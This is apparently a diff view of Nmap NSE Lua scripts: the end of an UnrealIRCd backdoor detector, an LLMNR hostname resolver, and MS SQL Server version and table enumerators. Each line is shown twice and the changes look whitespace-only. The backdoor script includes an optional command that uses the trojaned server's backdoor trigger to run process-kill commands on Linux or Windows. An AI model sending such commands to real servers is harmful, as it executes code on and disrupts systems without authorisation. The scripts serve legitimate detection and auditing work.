local elapsed = os.time(os.date('*t')) - time local elapsed = os.time(os.date('*t')) - time
-- Let the user know that everything's working -- Let the user know that everything's working
stdnse.print_debug(1, "irc-unrealircd-backdoor: Received a response to our command in " .. elapsed .. " seconds") stdnse.print_debug(1, "irc-unrealircd-backdoor: Received a response to our command in " .. elapsed .. " seconds")
-- Determine whether or not the vulnerability is present -- Determine whether or not the vulnerability is present
if(elapsed > (delay - delay_fudge)) then if(elapsed > (delay - delay_fudge)) then
-- Check if the user wants to kill the server. -- Check if the user wants to kill the server.
if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Attempting to kill the Trojanned UnrealIRCd server...") stdnse.print_debug(1, "irc-unrealircd-backdoor: Attempting to kill the Trojanned UnrealIRCd server...")
local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`" local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
local windows_kill = 'wmic process where "name like \'%ircd%\'" delete' local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill) local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
-- Kill the process -- Kill the process
stdnse.print_debug(1, "Running kill command: %s", kill_command) stdnse.print_debug(1, "Running kill command: %s", kill_command)
socket:send(kill_command .. "\n") socket:send(kill_command .. "\n")
end end
stdnse.print_debug(1, "irc-unrealircd-backdoor: Looks like the Trojanned unrealircd is running!") stdnse.print_debug(1, "irc-unrealircd-backdoor: Looks like the Trojanned unrealircd is running!")
-- Close the socket -- Close the socket
socket:close() socket:close()
return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277" return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
end end
-- Close the socket -- Close the socket
socket:close() socket:close()
stdnse.print_debug(1, "irc-unrealircd-backdoor: The Trojanned version of unrealircd probably isn't running.") stdnse.print_debug(1, "irc-unrealircd-backdoor: The Trojanned version of unrealircd probably isn't running.")
return nil return nil
end end

View File

@@ -37,11 +37,11 @@ For more information, see:
-- --
prerule = function() prerule = function()
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
author = "Hani Benhabiles" author = "Hani Benhabiles"
@@ -55,30 +55,30 @@ categories = {"discovery", "safe", "broadcast"}
-- @param hostname Hostname to query for. -- @param hostname Hostname to query for.
-- @return query Raw llmnr query. -- @return query Raw llmnr query.
local llmnrQuery = function(hostname) local llmnrQuery = function(hostname)
local query = bin.pack(">S", math.random(0,65535)) -- transaction ID local query = bin.pack(">S", math.random(0,65535)) -- transaction ID
query = query .. bin.pack(">S", 0x0000) -- Flags: Standard Query query = query .. bin.pack(">S", 0x0000) -- Flags: Standard Query
query = query .. bin.pack(">S", 0x0001) -- Questions = 1 query = query .. bin.pack(">S", 0x0001) -- Questions = 1
query = query .. bin.pack(">S", 0x0000) -- Answer RRs = 0 query = query .. bin.pack(">S", 0x0000) -- Answer RRs = 0
query = query .. bin.pack(">S", 0x0000) -- Authority RRs = 0 query = query .. bin.pack(">S", 0x0000) -- Authority RRs = 0
query = query .. bin.pack(">S", 0x0000) -- Additional RRs = 0 query = query .. bin.pack(">S", 0x0000) -- Additional RRs = 0
query = query .. bin.pack(">CAC", #hostname, hostname, 0x00) -- Hostname query = query .. bin.pack(">CAC", #hostname, hostname, 0x00) -- Hostname
query = query .. bin.pack(">S", 0x0001) -- Type: Host Address query = query .. bin.pack(">S", 0x0001) -- Type: Host Address
query = query .. bin.pack(">S", 0x0001) -- Class: IN query = query .. bin.pack(">S", 0x0001) -- Class: IN
return query return query
end end
--- Sends a llmnr query. --- Sends a llmnr query.
-- @param query Query to send. -- @param query Query to send.
local llmnrSend = function(query, mcast, mport) local llmnrSend = function(query, mcast, mport)
-- Multicast IP and UDP port -- Multicast IP and UDP port
local sock = nmap.new_socket() local sock = nmap.new_socket()
local status, err = sock:connect(mcast, mport, "udp") local status, err = sock:connect(mcast, mport, "udp")
if not status then if not status then
stdnse.print_debug("%s: %s", SCRIPT_NAME, err) stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
return return
end end
sock:send(query) sock:send(query)
sock:close() sock:close()
end end
-- Listens for llmnr responses -- Listens for llmnr responses
@@ -86,130 +86,130 @@ end
-- @param timeout Maximum time to listen. -- @param timeout Maximum time to listen.
-- @param result table to put responses into. -- @param result table to put responses into.
local llmnrListen = function(interface, timeout, result) local llmnrListen = function(interface, timeout, result)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local start = nmap.clock_ms() local start = nmap.clock_ms()
local listener = nmap.new_socket() local listener = nmap.new_socket()
local status, l3data, _ local status, l3data, _
-- packets that are sent to our UDP port number 5355 -- packets that are sent to our UDP port number 5355
local filter = 'dst host ' .. interface.address .. ' and udp src port 5355' local filter = 'dst host ' .. interface.address .. ' and udp src port 5355'
listener:set_timeout(100) listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter) listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive() status, _, _, l3data = listener:pcap_receive()
if status then if status then
local p = packet.Packet:new(l3data, #l3data) local p = packet.Packet:new(l3data, #l3data)
-- Skip IP and UDP headers -- Skip IP and UDP headers
local llmnr = string.sub(l3data, p.ip_hl*4 + 8 + 1) local llmnr = string.sub(l3data, p.ip_hl*4 + 8 + 1)
-- Flags -- Flags
local _, trans = bin.unpack(">S", llmnr) local _, trans = bin.unpack(">S", llmnr)
local _, flags = bin.unpack(">S", llmnr, 3) local _, flags = bin.unpack(">S", llmnr, 3)
-- Questions number -- Questions number
local _, questions = bin.unpack(">S", llmnr, 5) local _, questions = bin.unpack(">S", llmnr, 5)
-- Make verifications -- Make verifications
-- Message == Response bit -- Message == Response bit
-- and 1 Question (hostname we requested) and -- and 1 Question (hostname we requested) and
if (bit.rshift(flags, 15) == 1) and questions == 0x01 then if (bit.rshift(flags, 15) == 1) and questions == 0x01 then
stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src) stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src)
-- Skip header's 12 bytes -- Skip header's 12 bytes
-- extract host length -- extract host length
local index, qlen = bin.unpack(">C", llmnr, 13) local index, qlen = bin.unpack(">C", llmnr, 13)
-- Skip hostname, null byte, type field and class field -- Skip hostname, null byte, type field and class field
index = index + qlen + 1 + 2 + 2 index = index + qlen + 1 + 2 + 2
-- Now, answer record -- Now, answer record
local response, alen = {} local response, alen = {}
index, alen = bin.unpack(">C", llmnr, index) index, alen = bin.unpack(">C", llmnr, index)
-- Extract hostname with the correct case sensivity. -- Extract hostname with the correct case sensivity.
index, response.hostname = bin.unpack(">A".. alen, llmnr, index) index, response.hostname = bin.unpack(">A".. alen, llmnr, index)
-- skip null byte, type, class, ttl, dlen -- skip null byte, type, class, ttl, dlen
index = index + 1 + 2 + 2 + 4 + 2 index = index + 1 + 2 + 2 + 4 + 2
index, response.address = bin.unpack("<I", llmnr, index) index, response.address = bin.unpack("<I", llmnr, index)
response.address = ipOps.fromdword(response.address) response.address = ipOps.fromdword(response.address)
table.insert(result, response) table.insert(result, response)
else else
stdnse.print_debug("%s skipped llmnr response.", SCRIPT_NAME) stdnse.print_debug("%s skipped llmnr response.", SCRIPT_NAME)
end end
end
end end
condvar("signal") end
condvar("signal")
end end
-- Returns the network interface used to send packets to a target host. -- Returns the network interface used to send packets to a target host.
--@param target host to which the interface is used. --@param target host to which the interface is used.
--@return interface Network interface used for target host. --@return interface Network interface used for target host.
local getInterface = function(target) local getInterface = function(target)
-- First, create dummy UDP connection to get interface -- First, create dummy UDP connection to get interface
local sock = nmap.new_socket() local sock = nmap.new_socket()
local status, err = sock:connect(target, "12345", "udp") local status, err = sock:connect(target, "12345", "udp")
if not status then if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err) stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return return
end end
local status, address, _, _, _ = sock:get_info() local status, address, _, _, _ = sock:get_info()
if not status then if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err) stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return return
end end
for _, interface in pairs(nmap.list_interfaces()) do for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then if interface.address == address then
return interface return interface
end
end end
end
end end
action = function() action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
timeout = (timeout or 3) * 1000 timeout = (timeout or 3) * 1000
local hostname = stdnse.get_script_args(SCRIPT_NAME .. ".hostname") local hostname = stdnse.get_script_args(SCRIPT_NAME .. ".hostname")
local result, output = {}, {} local result, output = {}, {}
local mcast = "224.0.0.252" local mcast = "224.0.0.252"
local mport = 5355 local mport = 5355
-- Check if a valid hostname was provided -- Check if a valid hostname was provided
if not hostname or #hostname == 0 then if not hostname or #hostname == 0 then
stdnse.print_debug("%s no hostname was provided.", SCRIPT_NAME) stdnse.print_debug("%s no hostname was provided.", SCRIPT_NAME)
return return
end end
-- Check if a valid interface was provided -- Check if a valid interface was provided
local interface = nmap.get_interface() local interface = nmap.get_interface()
if interface then if interface then
interface = nmap.get_interface_info(interface) interface = nmap.get_interface_info(interface)
else else
interface = getInterface(mcast) interface = getInterface(mcast)
end end
if not interface then if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(mcast) return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
end end
-- Launch listener thread -- Launch listener thread
stdnse.new_thread(llmnrListen, interface, timeout, result) stdnse.new_thread(llmnrListen, interface, timeout, result)
-- Craft raw query -- Craft raw query
local query = llmnrQuery(hostname) local query = llmnrQuery(hostname)
-- Small sleep so the listener doesn't miss the response -- Small sleep so the listener doesn't miss the response
stdnse.sleep(0.5) stdnse.sleep(0.5)
-- Send query -- Send query
llmnrSend(query, mcast, mport) llmnrSend(query, mcast, mport)
-- Wait for listener thread to finish -- Wait for listener thread to finish
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
condvar("wait") condvar("wait")
-- Check responses -- Check responses
if #result > 0 then if #result > 0 then
for _, response in pairs(result) do for _, response in pairs(result) do
table.insert(output, response.hostname.. " : " .. response.address) table.insert(output, response.hostname.. " : " .. response.address)
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
target.add(response.address) target.add(response.address)
end
end end
if ( not(target.ALLOW_NEW_TARGETS) ) then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
end end
if ( not(target.ALLOW_NEW_TARGETS) ) then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
end
end end

View File

@@ -105,7 +105,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- added script arg to prevent script from connecting to ports that -- added script arg to prevent script from connecting to ports that
-- weren't in original Nmap scan <chris3E3@gmail.com>) -- weren't in original Nmap scan <chris3E3@gmail.com>)
-- rev 1.5 (2011-02-01 - Moved discovery functionality into ms-sql-discover.nse and -- rev 1.5 (2011-02-01 - Moved discovery functionality into ms-sql-discover.nse and
-- broadcast-ms-sql-discovery.nse <chris3E3@gmail.com>) -- broadcast-ms-sql-discovery.nse <chris3E3@gmail.com>)
author = "Chris Woodbury, Thomas Buchanan" author = "Chris Woodbury, Thomas Buchanan"
@@ -115,75 +115,75 @@ categories = {"default", "discovery", "safe"}
hostrule = function(host) hostrule = function(host)
if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then
return mssql.Helper.GetDiscoveredInstances( host ) ~= nil return mssql.Helper.GetDiscoveredInstances( host ) ~= nil
else else
local sqlDefaultPort = nmap.get_port_state( host, {number = 1433, protocol = "tcp"} ) local sqlDefaultPort = nmap.get_port_state( host, {number = 1433, protocol = "tcp"} )
local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} ) local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} )
-- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open -- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open
local smbPortNumber = smb.get_port( host ) local smbPortNumber = smb.get_port( host )
if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or
(sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) or (sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) or
(sqlDefaultPort and (sqlDefaultPort.state == "open" or sqlDefaultPort.state == "open|filtered")) or (sqlDefaultPort and (sqlDefaultPort.state == "open" or sqlDefaultPort.state == "open|filtered")) or
(smbPortNumber ~= nil) ) then (smbPortNumber ~= nil) ) then
return true return true
end end
end end
end end
--- Adds a label and value to an output table. If the value is a boolean, it is --- Adds a label and value to an output table. If the value is a boolean, it is
-- converted to Yes/No; if the value is nil, nothing is added to the table. -- converted to Yes/No; if the value is nil, nothing is added to the table.
local function add_to_output_table( outputTable, outputLabel, outputData ) local function add_to_output_table( outputTable, outputLabel, outputData )
if outputData == nil then return end if outputData == nil then return end
if outputData == true then if outputData == true then
outputData = "Yes" outputData = "Yes"
elseif outputData == false then elseif outputData == false then
outputData = "No" outputData = "No"
end end
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) ) table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
end end
--- Returns formatted output for the given version data --- Returns formatted output for the given version data
local function create_version_output_table( versionInfo ) local function create_version_output_table( versionInfo )
local versionOutput = {} local versionOutput = {}
versionOutput["name"] = "Version: " .. versionInfo:ToString() versionOutput["name"] = "Version: " .. versionInfo:ToString()
if ( versionInfo.source ~= "SSRP" ) then if ( versionInfo.source ~= "SSRP" ) then
add_to_output_table( versionOutput, "Version number", versionInfo.versionNumber ) add_to_output_table( versionOutput, "Version number", versionInfo.versionNumber )
end end
add_to_output_table( versionOutput, "Product", versionInfo.productName ) add_to_output_table( versionOutput, "Product", versionInfo.productName )
add_to_output_table( versionOutput, "Service pack level", versionInfo.servicePackLevel ) add_to_output_table( versionOutput, "Service pack level", versionInfo.servicePackLevel )
add_to_output_table( versionOutput, "Post-SP patches applied", versionInfo.patched ) add_to_output_table( versionOutput, "Post-SP patches applied", versionInfo.patched )
return versionOutput return versionOutput
end end
--- Returns formatted output for the given instance --- Returns formatted output for the given instance
local function create_instance_output_table( instance ) local function create_instance_output_table( instance )
-- if we didn't get anything useful (due to errors or the port not actually -- if we didn't get anything useful (due to errors or the port not actually
-- being SQL Server), don't report anything -- being SQL Server), don't report anything
if not ( instance.instanceName or instance.version ) then return nil end if not ( instance.instanceName or instance.version ) then return nil end
local instanceOutput = {} local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
add_to_output_table( instanceOutput, "Instance name", instance.instanceName ) add_to_output_table( instanceOutput, "Instance name", instance.instanceName )
if instance.version then if instance.version then
local versionOutput = create_version_output_table( instance.version ) local versionOutput = create_version_output_table( instance.version )
table.insert( instanceOutput, versionOutput ) table.insert( instanceOutput, versionOutput )
end end
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName ) add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
add_to_output_table( instanceOutput, "Clustered", instance.isClustered ) add_to_output_table( instanceOutput, "Clustered", instance.isClustered )
return instanceOutput return instanceOutput
end end
@@ -191,74 +191,74 @@ end
--- Processes a single instance, attempting to determine its version, etc. --- Processes a single instance, attempting to determine its version, etc.
local function process_instance( instance ) local function process_instance( instance )
local foundVersion = false local foundVersion = false
local ssnetlibVersion local ssnetlibVersion
-- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll -- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll
-- connect to the instance to get an accurate version number -- connect to the instance to get an accurate version number
if ( instance:HasNetworkProtocols() ) then if ( instance:HasNetworkProtocols() ) then
local ssnetlibVersion local ssnetlibVersion
foundVersion, ssnetlibVersion = mssql.Helper.GetInstanceVersion( instance ) foundVersion, ssnetlibVersion = mssql.Helper.GetInstanceVersion( instance )
if ( foundVersion ) then if ( foundVersion ) then
instance.version = ssnetlibVersion instance.version = ssnetlibVersion
stdnse.print_debug( 1, "%s: Retrieved SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() ) stdnse.print_debug( 1, "%s: Retrieved SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
else else
stdnse.print_debug( 1, "%s: Could not retrieve SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() ) stdnse.print_debug( 1, "%s: Could not retrieve SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
end end
end end
-- If we didn't get a version from SSNetLib, give the user some detail as to why -- If we didn't get a version from SSNetLib, give the user some detail as to why
if ( not foundVersion ) then if ( not foundVersion ) then
if ( not instance:HasNetworkProtocols() ) then if ( not instance:HasNetworkProtocols() ) then
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() ) stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
end end
if ( instance.version ) then if ( instance.version ) then
stdnse.print_debug( 1, "%s: Using version number from SSRP response for %s.", SCRIPT_NAME, instance:GetName() ) stdnse.print_debug( 1, "%s: Using version number from SSRP response for %s.", SCRIPT_NAME, instance:GetName() )
else else
stdnse.print_debug( 1, "%s: Version info could not be retrieved for %s.", SCRIPT_NAME, instance:GetName() ) stdnse.print_debug( 1, "%s: Version info could not be retrieved for %s.", SCRIPT_NAME, instance:GetName() )
end end
end end
-- Give some version info back to Nmap -- Give some version info back to Nmap
if ( instance.port and instance.version ) then if ( instance.port and instance.version ) then
instance.version:PopulateNmapPortVersion( instance.port ) instance.version:PopulateNmapPortVersion( instance.port )
nmap.set_port_version( instance.host, instance.port) nmap.set_port_version( instance.host, instance.port)
end end
end end
action = function( host ) action = function( host )
local scriptOutput = {} local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host ) local status, instanceList = mssql.Helper.GetTargetInstances( host )
-- if no instances were targeted, then display info on all -- if no instances were targeted, then display info on all
if ( not status ) then if ( not status ) then
if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then
mssql.Helper.Discover( host ) mssql.Helper.Discover( host )
end end
instanceList = mssql.Helper.GetDiscoveredInstances( host ) instanceList = mssql.Helper.GetDiscoveredInstances( host )
end end
if ( not instanceList ) then if ( not instanceList ) then
return stdnse.format_output( false, instanceList or "" ) return stdnse.format_output( false, instanceList or "" )
else else
for _, instance in ipairs( instanceList ) do for _, instance in ipairs( instanceList ) do
if instance.serverName then if instance.serverName then
table.insert(scriptOutput, string.format( "Windows server name: %s", instance.serverName )) table.insert(scriptOutput, string.format( "Windows server name: %s", instance.serverName ))
break break
end end
end end
for _, instance in pairs( instanceList ) do for _, instance in pairs( instanceList ) do
process_instance( instance ) process_instance( instance )
local instanceOutput = create_instance_output_table( instance ) local instanceOutput = create_instance_output_table( instance )
if instanceOutput then if instanceOutput then
table.insert( scriptOutput, instanceOutput ) table.insert( scriptOutput, instanceOutput )
end end
end end
end end
return stdnse.format_output( true, scriptOutput ) return stdnse.format_output( true, scriptOutput )
end end

View File

@@ -54,7 +54,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- (default 5). If set to zero or less all tables are returned. -- (default 5). If set to zero or less all tables are returned.
-- --
-- @args ms-sql-tables.keywords If set shows only tables or columns matching -- @args ms-sql-tables.keywords If set shows only tables or columns matching
-- the keywords -- the keywords
-- --
-- @output -- @output
-- | ms-sql-tables: -- | ms-sql-tables:
@@ -84,13 +84,13 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 04/02/2010 - v0.2 -- Revised 04/02/2010 - v0.2
-- - Added support for filters -- - Added support for filters
-- - Changed output formatting of restrictions -- - Changed output formatting of restrictions
-- - Added parameter information in output if parameters are using their -- - Added parameter information in output if parameters are using their
-- defaults. -- defaults.
-- Revised 02/01/2011 - v0.3 (Chris Woodbury) -- Revised 02/01/2011 - v0.3 (Chris Woodbury)
-- - Added ability to run against all instances on a host; -- - Added ability to run against all instances on a host;
-- - Added compatibility with changes in mssql.lua -- - Added compatibility with changes in mssql.lua
author = "Patrik Karlsson" author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -104,169 +104,169 @@ portrule = mssql.Helper.GetPortrule_Standard()
local function process_instance( instance ) local function process_instance( instance )
local status, result, dbs, tables local status, result, dbs, tables
local output = {} local output = {}
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" } local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
local db_query local db_query
local done_dbs = {} local done_dbs = {}
local db_limit, tbl_limit local db_limit, tbl_limit
local DB_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) local DB_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} )
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) ) or 5 and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) ) or 5
local TABLE_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) local TABLE_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } )
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2 and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2
local keywords_filter = "" local keywords_filter = ""
if ( DB_COUNT <= 0 ) then if ( DB_COUNT <= 0 ) then
db_limit = "" db_limit = ""
else else
db_limit = string.format( "TOP %d", DB_COUNT ) db_limit = string.format( "TOP %d", DB_COUNT )
end end
if (TABLE_COUNT <= 0 ) then if (TABLE_COUNT <= 0 ) then
tbl_limit = "" tbl_limit = ""
else else
tbl_limit = string.format( "TOP %d", TABLE_COUNT ) tbl_limit = string.format( "TOP %d", TABLE_COUNT )
end end
-- Build the keyword filter -- Build the keyword filter
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
local tmp_tbl = {} local tmp_tbl = {}
if( type(keywords) == 'string' ) then if( type(keywords) == 'string' ) then
keywords = { keywords } keywords = { keywords }
end end
for _, v in ipairs(keywords) do for _, v in ipairs(keywords) do
table.insert(tmp_tbl, ("'%s'"):format(v)) table.insert(tmp_tbl, ("'%s'"):format(v))
end end
keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format( keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format(
stdnse.strjoin(",", tmp_tbl), stdnse.strjoin(",", tmp_tbl),
stdnse.strjoin(",", tmp_tbl) stdnse.strjoin(",", tmp_tbl)
) )
end end
db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, stdnse.strjoin(",", exclude_dbs)) db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, stdnse.strjoin(",", exclude_dbs))
local creds = mssql.Helper.GetLoginCredentials_All( instance ) local creds = mssql.Helper.GetLoginCredentials_All( instance )
if ( not creds ) then if ( not creds ) then
output = "ERROR: No login credentials." output = "ERROR: No login credentials."
else else
for username, password in pairs( creds ) do for username, password in pairs( creds ) do
local helper = mssql.Helper:new() local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance ) status, result = helper:ConnectEx( instance )
if ( not(status) ) then if ( not(status) ) then
table.insert(output, "ERROR: " .. result) table.insert(output, "ERROR: " .. result)
break break
end end
if ( status ) then if ( status ) then
status = helper:Login( username, password, nil, instance.host.ip ) status = helper:Login( username, password, nil, instance.host.ip )
end end
if ( status ) then if ( status ) then
status, dbs = helper:Query( db_query ) status, dbs = helper:Query( db_query )
end end
if ( status ) then if ( status ) then
-- all done? -- all done?
if ( #done_dbs == #dbs.rows ) then if ( #done_dbs == #dbs.rows ) then
break break
end end
for k, v in pairs(dbs.rows) do for k, v in pairs(dbs.rows) do
if ( not( stdnse.contains( done_dbs, v[1] ) ) ) then if ( not( stdnse.contains( done_dbs, v[1] ) ) ) then
local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length
FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st
WHERE so.id = sc.id AND sc.xtype=st.xtype AND WHERE so.id = sc.id AND sc.xtype=st.xtype AND
so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]] so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]]
query = query:format( v[1], v[1], v[1], tbl_limit, v[1], keywords_filter) query = query:format( v[1], v[1], v[1], tbl_limit, v[1], keywords_filter)
status, tables = helper:Query( query ) status, tables = helper:Query( query )
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(tables) stdnse.print_debug(tables)
else else
local item = {} local item = {}
item = mssql.Util.FormatOutputTable( tables, true ) item = mssql.Util.FormatOutputTable( tables, true )
if ( #item == 0 and keywords_filter ~= "" ) then if ( #item == 0 and keywords_filter ~= "" ) then
table.insert(item, "Filter returned no matches") table.insert(item, "Filter returned no matches")
end end
item.name = v[1] item.name = v[1]
table.insert(output, item) table.insert(output, item)
table.insert(done_dbs, v[1]) table.insert(done_dbs, v[1])
end end
end end
end end
end end
helper:Disconnect() helper:Disconnect()
end end
local pos = 1 local pos = 1
local restrict_tbl = {} local restrict_tbl = {}
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
local tmp = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) local tmp = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
if ( type(tmp) == 'table' ) then if ( type(tmp) == 'table' ) then
tmp = stdnse.strjoin(',', tmp) tmp = stdnse.strjoin(',', tmp)
end end
table.insert(restrict_tbl, 1, ("Filter: %s"):format(tmp)) table.insert(restrict_tbl, 1, ("Filter: %s"):format(tmp))
pos = pos + 1 pos = pos + 1
else else
table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)") table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)")
end end
if ( DB_COUNT > 0 ) then if ( DB_COUNT > 0 ) then
local tmp = ("Output restricted to %d databases"):format(DB_COUNT) local tmp = ("Output restricted to %d databases"):format(DB_COUNT)
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then
tmp = tmp .. " (see ms-sql-tables.maxdb)" tmp = tmp .. " (see ms-sql-tables.maxdb)"
end end
table.insert(restrict_tbl, 1, tmp) table.insert(restrict_tbl, 1, tmp)
pos = pos + 1 pos = pos + 1
end end
if ( TABLE_COUNT > 0 ) then if ( TABLE_COUNT > 0 ) then
local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT) local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT)
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then
tmp = tmp .. " (see ms-sql-tables.maxtables)" tmp = tmp .. " (see ms-sql-tables.maxtables)"
end end
table.insert(restrict_tbl, 1, tmp) table.insert(restrict_tbl, 1, tmp)
pos = pos + 1 pos = pos + 1
end end
if ( 1 < pos and type( output ) == "table" and #output > 0) then if ( 1 < pos and type( output ) == "table" and #output > 0) then
restrict_tbl.name = "Restrictions" restrict_tbl.name = "Restrictions"
table.insert(output, "") table.insert(output, "")
table.insert(output, restrict_tbl) table.insert(output, restrict_tbl)
end end
end end
local instanceOutput = {} local instanceOutput = {}
